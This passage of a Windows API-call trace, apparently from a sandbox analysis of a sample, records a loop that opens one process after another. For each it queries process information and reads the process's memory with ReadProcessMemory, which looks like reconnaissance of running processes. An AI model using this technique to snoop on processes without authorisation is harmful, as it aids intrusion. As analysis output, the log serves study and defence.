lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.708] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.736] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8c) returned 0x300 [0246.736] GetLastError () returned 0x0 [0246.736] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.736] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x353018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.737] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.737] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4f1d10, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.737] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4f18f8, lpBuffer=0x67117c450, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.738] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.740] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.740] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x353020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.740] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4f12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.740] malloc (_Size=0x7c) returned 0x196ef0d7bc0 [0246.740] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4f196c, lpBuffer=0x196ef0d7bc0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7bc0*, lpNumberOfBytesRead=0x0) returned 1 [0246.741] free (_Block=0x196ef0d7bc0) [0246.742] CloseHandle (hObject=0x300) returned 1 [0246.742] _ui64tow_s (in: _Value=0xf94, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3988") returned 0x0 [0246.747] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3988") returned 4 [0246.748] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.748] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.776] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf94) returned 0x300 [0246.776] GetLastError () returned 0x0 [0246.776] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.776] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x54d018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.777] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.777] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3f1ce0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.777] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3f18f8, lpBuffer=0x67117c450, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.793] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.795] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.795] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x54d020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.795] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3f12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.795] malloc (_Size=0x70) returned 0x196ef0d31b0 [0246.795] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3f1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0246.796] free (_Block=0x196ef0d31b0) [0246.797] CloseHandle (hObject=0x300) returned 1 [0246.798] _ui64tow_s (in: _Value=0xfa8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4008") returned 0x0 [0246.802] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4008") returned 4 [0246.803] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.803] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.820] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfa8) returned 0x300 [0246.821] GetLastError () returned 0x0 [0246.821] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.822] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3a3018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.822] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.822] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1c1cf0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.822] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1c18f8, lpBuffer=0x67117c450, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.823] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.842] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.842] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3a3020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.842] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1c12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.842] malloc (_Size=0x72) returned 0x196ef0d31b0 [0246.842] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1c1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0246.843] free (_Block=0x196ef0d31b0) [0246.844] CloseHandle (hObject=0x300) returned 1 [0246.844] _ui64tow_s (in: _Value=0xfb0, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4016") returned 0x0 [0246.848] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4016") returned 4 [0246.849] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.849] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb0) returned 0x300 [0246.866] GetLastError () returned 0x0 [0246.866] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.866] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2cf018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.867] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.867] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x461ce0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.867] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4618f8, lpBuffer=0x67117c450, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.868] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.869] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.869] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2cf020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.870] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4612e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.870] malloc (_Size=0x70) returned 0x196ef0d31b0 [0246.870] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x461960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0246.871] free (_Block=0x196ef0d31b0) [0246.872] CloseHandle (hObject=0x300) returned 1 [0246.872] _ui64tow_s (in: _Value=0xfc0, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4032") returned 0x0 [0246.877] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4032") returned 4 [0246.878] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.878] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.916] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc0) returned 0x300 [0246.916] GetLastError () returned 0x0 [0246.916] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.916] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x205018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.916] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.917] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x551ce0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.917] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5518f8, lpBuffer=0x67117c450, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.918] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.920] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.920] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x205020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.920] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5512e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.920] malloc (_Size=0x70) returned 0x196ef0d31b0 [0246.920] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x551960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0246.921] free (_Block=0x196ef0d31b0) [0246.921] CloseHandle (hObject=0x300) returned 1 [0246.922] _ui64tow_s (in: _Value=0xfc8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4040") returned 0x0 [0246.928] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4040") returned 4 [0246.929] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.929] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.966] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc8) returned 0x300 [0246.966] GetLastError () returned 0x0 [0246.966] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.966] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3b2018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.967] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.967] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x591cd0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.967] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5918f8, lpBuffer=0x67117c450, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.968] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.969] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.969] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3b2020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.970] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5912e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.970] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0246.970] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x59195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0246.970] free (_Block=0x196ef0d31b0) [0246.971] CloseHandle (hObject=0x300) returned 1 [0246.972] _ui64tow_s (in: _Value=0xfd4, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4052") returned 0x0 [0246.976] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4052") returned 4 [0246.977] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.977] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.046] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfd4) returned 0x300 [0247.046] GetLastError () returned 0x0 [0247.046] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.047] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3be018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.047] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.047] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4d1d00, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.047] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4d18f8, lpBuffer=0x67117c450, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.048] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.049] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.050] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3be020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.050] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4d12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.050] malloc (_Size=0x78) returned 0x196ef0d2120 [0247.050] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0247.051] free (_Block=0x196ef0d2120) [0247.051] CloseHandle (hObject=0x300) returned 1 [0247.052] _ui64tow_s (in: _Value=0xfdc, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4060") returned 0x0 [0247.057] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4060") returned 4 [0247.058] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.058] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0247.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x300 [0247.104] GetLastError () returned 0x0 [0247.105] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0247.105] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2a1018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0247.105] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.105] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x591d10, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0247.106] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5918f8, lpBuffer=0x67117c450, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0247.107] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0247.108] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0247.108] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2a1020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0247.109] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5912e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0247.109] malloc (_Size=0x7e) returned 0x196ef0d7c50 [0247.109] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x59196e, lpBuffer=0x196ef0d7c50, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7c50*, lpNumberOfBytesRead=0x0) returned 1 [0247.109] free (_Block=0x196ef0d7c50) [0247.110] CloseHandle (hObject=0x300) returned 1 [0247.111] _ui64tow_s (in: _Value=0xff0, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4080") returned 0x0 [0247.115] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4080") returned 4 [0247.116] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, 